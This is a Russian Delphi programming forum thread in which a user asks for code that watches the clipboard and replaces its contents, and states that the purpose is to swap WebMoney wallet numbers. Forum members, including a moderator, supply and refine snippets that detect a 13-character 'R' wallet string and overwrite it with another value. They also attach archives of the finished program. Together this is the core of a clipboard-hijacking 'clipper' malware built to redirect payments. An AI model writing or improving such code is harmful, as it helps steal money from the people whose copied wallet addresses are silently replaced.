Понедельник, 30.12.2024, 20:54 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
Буфер обмена.
DarkPonyДата: Суббота, 14.07.2012, 15:30 | Сообщение # 1
Частый гость
Зарегистрирован: 05.04.2012
Группа: Пользователи
Сообщений: 25
Статус: Offline
Нужна помощь.

if ClipBoard.AsText = ('X123') then // 123 = рандомные числа. На их месте могут быть любые.
ClipBoard.SetTextBuf('test2');

Может ли кто-нибудь написать код:
если текст в буфере обмена начинается на X то
ClipBoard.SetTextBuf('Z);


Сообщение отредактировал DarkPony - Суббота, 14.07.2012, 16:19
 
xXxSh@dowxXxДата: Суббота, 14.07.2012, 19:01 | Сообщение # 2
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
вот держи пока не полностью доработанный пример, но от этого уже можно плясать дальше, щас нарою про значения перепишу и выложу уже готовый исходник, задумка у тебя хорошая, идея мне нравится, попробую написать...
в данном первом исходнике нет проверки на первые числа, то есть если в буфере конкретно "123" то он тебе будет заменять на "test2", а если в буфере "123 4567" или что то другое отличное от "123" то замены не будет, щас найду свои прошлые наработки перепишу проверку так как ты хочешь...
Прикрепления: 54534543545.rar (170.1 Kb)


Сообщение отредактировал xXxSh@dowxXx - Суббота, 14.07.2012, 19:03
 
DarkPonyДата: Суббота, 14.07.2012, 19:25 | Сообщение # 3
Частый гость
Зарегистрирован: 05.04.2012
Группа: Пользователи
Сообщений: 25
Статус: Offline
Это нужно для подмены кошельков и другой различной информации.
 
DarkPonyДата: Суббота, 14.07.2012, 19:31 | Сообщение # 4
Частый гость
Зарегистрирован: 05.04.2012
Группа: Пользователи
Сообщений: 25
Статус: Offline
Но я не знаю как реализовать проверку. Если в буфере обмена текст: R и более одного числа, то подменяем содержание.
 
xXxSh@dowxXxДата: Суббота, 14.07.2012, 19:33 | Сообщение # 5
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (DarkPony)
Но я не знаю как реализовать проверку. Если в буфере обмена текст: R и более одного числа, то подменяем содержание.

щас щас я найду, где то было у меня...
я просто так на память уже и не вспомню код.


Сообщение отредактировал xXxSh@dowxXx - Суббота, 14.07.2012, 19:33
 
DarkPonyДата: Суббота, 14.07.2012, 20:25 | Сообщение # 6
Частый гость
Зарегистрирован: 05.04.2012
Группа: Пользователи
Сообщений: 25
Статус: Offline
Можно было бы сделать проверку на длину.
 
DarkPonyДата: Суббота, 14.07.2012, 20:33 | Сообщение # 7
Частый гость
Зарегистрирован: 05.04.2012
Группа: Пользователи
Сообщений: 25
Статус: Offline
Все WM кошельки состоят из 13 символов (вместе с R).



Только Clipbrd в uses добавить не забудьте.


Сообщение отредактировал DarkPony - Суббота, 14.07.2012, 20:41
 
DarkPonyДата: Суббота, 14.07.2012, 20:54 | Сообщение # 8
Частый гость
Зарегистрирован: 05.04.2012
Группа: Пользователи
Сообщений: 25
Статус: Offline
Только вот есть проблема.
Память растет же. Можно ли ее как-нибудь "сбрасывать" что ли?
 
xXxSh@dowxXxДата: Суббота, 14.07.2012, 21:05 | Сообщение # 9
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (DarkPony)
Можно было бы сделать проверку на длину, все WM кошельки состоят из 13 символов (вместе с R).


а если пользователь будет вводить любую другую фигню кроме R или кроме Z или E или G, для других кошельков...

вобщем вот доделал код, пробуй, тестируй, разбирайся, я думаю под себя без проблем переделаешь wink

в этом исходнике происходит проверка по тем символам которые ты указал в:


и если у пользователя в буфере обмена будут эти символы и что либо ещё после них то буфер обмена заменится на "test2"
например если пользователь в буфер обмена копирует "1" или "12" или "124" и др., то буфер не заменится, а если в буфере будет "123" или "1234" или "123ldsfkjsldfjsldfkj" то буфер заменится на "test2"

PS: таймер стоит на 1 сек., меняй как тебе будет удобней, можно и без таймера попробовать переписать, но это уже другая история)))
Прикрепления: 567567567567.rar (170.9 Kb)


Сообщение отредактировал xXxSh@dowxXx - Суббота, 14.07.2012, 21:13
 
DarkPonyДата: Суббота, 14.07.2012, 21:28 | Сообщение # 10
Частый гость
Зарегистрирован: 05.04.2012
Группа: Пользователи
Сообщений: 25
Статус: Offline
Спасибо.
 
xXxSh@dowxXxДата: Суббота, 14.07.2012, 22:03 | Сообщение # 11
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Единственное что я не добавил, так это работу с русскими символами и какими либо другими символами кроме латиницы и цыфр, то есть не факт что с русскими символами в буфере обмена будет работать, ибо я это не проверял...

вот немного переделал с использованием проверки по количеству символов которую ты указал:

Code

   if length(ClipBoard.AsText)=13 then
   ClipBoard.SetTextBuf('Ваш кошелек');


теперь в исходнике проставлено количество символов "13" это включая "R" а в самой программе в поле "значение для сравнения" прописываются символы которые будут сравниваться, так как сам номер кошелька тебе может быть не известен то за значение берется только первый символ "R" а все последующие сравниваться не будут, их просто должно быть 12 не больше не меньше, иначе буфер не заменится...
ПРИМЕР: если номер кошелька в буфере выглядит так "R123456789100" (то есть "R+12 символов") то буфер изменится, а если хоть на 1 символ больше или меньше, то замены не произойдет, вобщем как то так.
Прикрепления: 919191991.rar (171.3 Kb)


Сообщение отредактировал xXxSh@dowxXx - Воскресенье, 15.07.2012, 03:20
 
artemukДата: Понедельник, 16.07.2012, 02:01 | Сообщение # 12
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
Люди, чем вам стандартные функции для работы со строками не угодили?
Quote (DarkPony)
Может ли кто-нибудь написать код:
если текст в буфере обмена начинается на X то
ClipBoard.SetTextBuf('Z);

Пример:
Code
if Copy(ClipBoard.AsText,1,1) = 'X' then
ClipBoard.SetTextBuf('Z);

Или ещё проще:
Code
if ClipBoard.AsText[1] = 'X' then
ClipBoard.SetTextBuf('Z);

А вот это
Quote (DarkPony)
Но я не знаю как реализовать проверку. Если в буфере обмена текст: R и более одного числа, то подменяем содержание.

решается так:
Code
if (Pos('R',ClipBoard.AsText) > 0) and (Length(ClipBoard.AsText) = 13) then
ClipBoard.SetTextBuf('Z123456789012');


Сообщение отредактировал artemuk - Понедельник, 16.07.2012, 02:07
 
xXxSh@dowxXxДата: Понедельник, 16.07.2012, 09:56 | Сообщение # 13
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (artemuk)
Люди, чем вам стандартные функции для работы со строками не угодили?
решается так:


Code

     if (Pos('R',ClipBoard.AsText) > 0) and (Length(ClipBoard.AsText) = 13) then             
       ClipBoard.SetTextBuf('test');


в твоем примере не зависит где будет стоять "R" первым символом или вобще в середине или даже в конце, все равно сработает так как "R" > 0
тогда мржно конечно сделать так:

Code

    if (Pos('R',ClipBoard.AsText) = 1) and (Length(ClipBoard.AsText) = 13) then             
      ClipBoard.SetTextBuf('test');


да для замены номера кошелька так конечно проще и этого было бы достаточно, но если нам например понадобится проверять не 1 первый символ, а к примеру первые 3 или 5 или даже 25 символов, зачем нам тогда расписывать по несколько раз одни и те же строки, в любом случае понадобиться функция или процедура, не так ли?


Сообщение отредактировал xXxSh@dowxXx - Понедельник, 16.07.2012, 10:15
 
artemukДата: Понедельник, 16.07.2012, 22:17 | Сообщение # 14
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
Quote (xXxSh@dowxXx)
твоем примере не зависит где будет стоять "R" первым символом или вобще в середине или даже в конце, все равно сработает так как "R" > 0
тогда мржно конечно сделать так:

Этот кусок кода ответ на это:
Quote (DarkPony)
Но я не знаю как реализовать проверку. Если в буфере обмена текст: R и более одного числа, то подменяем содержание.

Т.е я хотел показать какие существуют способы решения этой проблемы, и чем они различаютя. wink
А самое простое и разумное решение(на мой взгляд):
Code
if (ClipBoard.AsText[1] = 'R') and (Length(ClipBoard.AsText) = 13) then
ClipBoard.SetTextBuf('test');

Quote (xXxSh@dowxXx)
да для замены номера кошелька так конечно проще и этого было бы достаточно, но если нам например понадобится проверять не 1 первый символ, а к примеру первые 3 или 5 или даже 25 символов, зачем нам тогда расписывать по несколько раз одни и те же строки, в любом случае понадобиться функция или процедура, не так ли?

В принципе, даже если нам нужно проверить даже первые 25 символов, всё равно можно обойтись фунцкией Pos:
Code
var s:string;
begin
s:='Первые 25 символов строки|тут остальная часть';
if Pos('Первые 25 символов строки',s) = 1 then
//Строка содержит эти 25 символов и они стоят в начале строки
else
//Строка не содержит этих 25 символов или они не стоят в начале строки

Вот как-то так. cool
 
xXxSh@dowxXxДата: Вторник, 17.07.2012, 09:07 | Сообщение # 15
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (artemuk)
В принципе, даже если нам нужно проверить даже первые 25 символов, всё равно можно обойтись фунцкией Pos


Да, точно, тут ты прав, держи + wink

Только вот подскажите теперь как сделать ту же самую проверку но наоборот, с последнего символа, то есть с конца строки, например что бы из всей большой строчки проверялись только к примеру последние 5 символов?
знаю что есть:
Code

Length(S);

но это отвечает только за последний 1 символ, как быть?

PS: Все уже разобрался сам, вопрос закрыт! Всем большое спасибо за участие в обсуждении темы smile


Сообщение отредактировал xXxSh@dowxXx - Вторник, 17.07.2012, 22:52
 
xXxSh@dowxXxДата: Четверг, 19.07.2012, 10:28 | Сообщение # 16
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Вопрос на засыпку! biggrin

Почему данный код срабатывает через раз?
Code

procedure TForm1.Button3Click(Sender: TObject);
begin
     a := ClipBoard.AsText;
     b := Edit1.Text;
     d := Length(b);
     n := Length(ClipBoard.AsText);
     r := (n - d);
     if n > d then
      begin
       if pos(b, a) = (r + 1) then
        begin
         ClipBoard.SetTextBuf('test');
        end;
      end;
     end;

я пытался понять, но так и не понял, может быть в событие "ButtonClick" такие методы нельзя использовать?

PS: Все вопрос закрыт! Я нашел свою ошибку, всем спасибо wink

Забавно, сам спрашиваю и сам же на свои вопросы и отвечаю biggrin


Сообщение отредактировал xXxSh@dowxXx - Четверг, 19.07.2012, 11:35
 
artemukДата: Четверг, 19.07.2012, 17:16 | Сообщение # 17
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
xXxSh@dowxXx,
И в чём же была ошибка?
Вродь всё норм работает. smile


Сообщение отредактировал artemuk - Четверг, 19.07.2012, 17:23
 
xXxSh@dowxXxДата: Четверг, 19.07.2012, 17:34 | Сообщение # 18
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (artemuk)
Вродь всё норм работает

а ты попробуй копировать в буфер строку, к примеру:

"1234567890456" при условии что проверочное значение будет "456" и тогда в данном коде
Code

pos(b, a) = (r + 1)

никогда не будет равно, думаю не сложно догадаться почему wink

этот код бы подошел для поиска первого значения во всей строке буфера, а мне нужно было найти последнее значение, поэтому нужно было чуть чуть подредактировать код, в принципе можно сделать в одной программе поиск всех значений по тексту, как самого первого, так и последующих...

PS: Я код уже переписал, если кому интересно, могу выложить smile


Сообщение отредактировал xXxSh@dowxXx - Четверг, 19.07.2012, 17:42
 
Marra_KeshДата: Четверг, 19.07.2012, 17:47 | Сообщение # 19
Постоянный
Зарегистрирован: 19.12.2009
Группа: Модераторы
Сообщений: 182
Статус: Offline
Quote (xXxSh@dowxXx)
если кому интересно, могу выложить

cool ...Ребятушки, не стоит спрашивать интересно это кому-либо или нет. Выкладывайте! Кому не интересно пройдут мимо... cool
 
artemukДата: Четверг, 19.07.2012, 20:56 | Сообщение # 20
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
Quote (xXxSh@dowxXx)
никогда не будет равно, думаю не сложно догадаться почему

Плин, точно! Я даже не подумал об этом happy
 
xXxSh@dowxXxДата: Пятница, 20.07.2012, 08:32 | Сообщение # 21
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Marra_Kesh Вы правы, именно так, вот держите конечно smile


в принципе поля "Edit" были добавлены только для проверки работоспособности, от них ничего не зависит и их можно смело убрать, за исключением "Edit1" конечно smile


Сообщение отредактировал xXxSh@dowxXx - Пятница, 20.07.2012, 08:36
 
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz